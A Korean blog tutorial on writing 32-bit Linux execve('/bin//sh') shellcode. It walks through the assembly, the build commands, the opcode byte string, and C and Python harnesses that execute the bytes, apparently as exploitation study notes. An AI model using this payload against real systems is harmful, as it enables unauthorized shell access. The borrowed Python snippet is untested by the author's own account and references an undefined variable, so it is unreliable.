systemhacking/background

쉘코드 제작, dumpcode

qkqhxla1 2014. 12. 29. 17:14

1. /usr/include/asm/unistd.h 등에서 execve함수의 시스템 콜 번호 알아내기.


2. 어셈블리어 제작 (sh.s)

.global _start


_start:

xor %eax, %eax

xor %edx, %edx

push %eax #null

push $0x68732f2f #//sh

push $0x6e69622f #/bin

mov %esp, %ebx #/bin//sh문자열의 주소저장

push %edx

push %ebx

mov %esp, %ecx

movb $0x0B, %al #0x0B==11로 execve의 시스템 콜 번호.

int $0x80 


3. 어셈블리어를 컴파일해서 되는지 확인


as -o sh.o sh.s

ld -o sh sh.o

./sh


4. 제대로 쉘이 실행되면 objdump -d ./sh로 OP code 추출


ex)  \x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80


5.1). 추출된 OP code를 c언어에 넣어서 돌려보기.

http://qkqhxla1.tistory.com/251에 opcode만 가져오는 파이썬 코드 있음. )


#include <stdio.h>
#include <string.h>

char shell[]="\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

int main()
{
     printf("shell len = %d\n",strlen(shell));
     (*(void (*)()) shell)();
}

5.2). 추출된 OP code를 파이썬에 넣어서 돌려보기. (지인의 블로그에서 퍼옴. 실험을 안해봐서 되는지 안되는지 모르겠다.)

from ctypes import *
 
sc_data = ("\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80")
 
sc = c_char_p(sc_data)
func = cast(shellcode, CFUNCTYPE(None))
func()



** dumpcode

dumpcode.txt


** 48byte shellcode

48 Bytes 쉘코드.txt


'systemhacking > background' 카테고리의 다른 글

mprotect (메모리 권한 변경)  (0) 2015.02.10
linux background 2 (binary hacks)  (0) 2015.02.08
linux background 1 (binary hacks)  (0) 2015.02.06
system 기본 용어들  (0) 2015.02.04
리버스 커넥션 쉘코드 제작  (0) 2015.01.31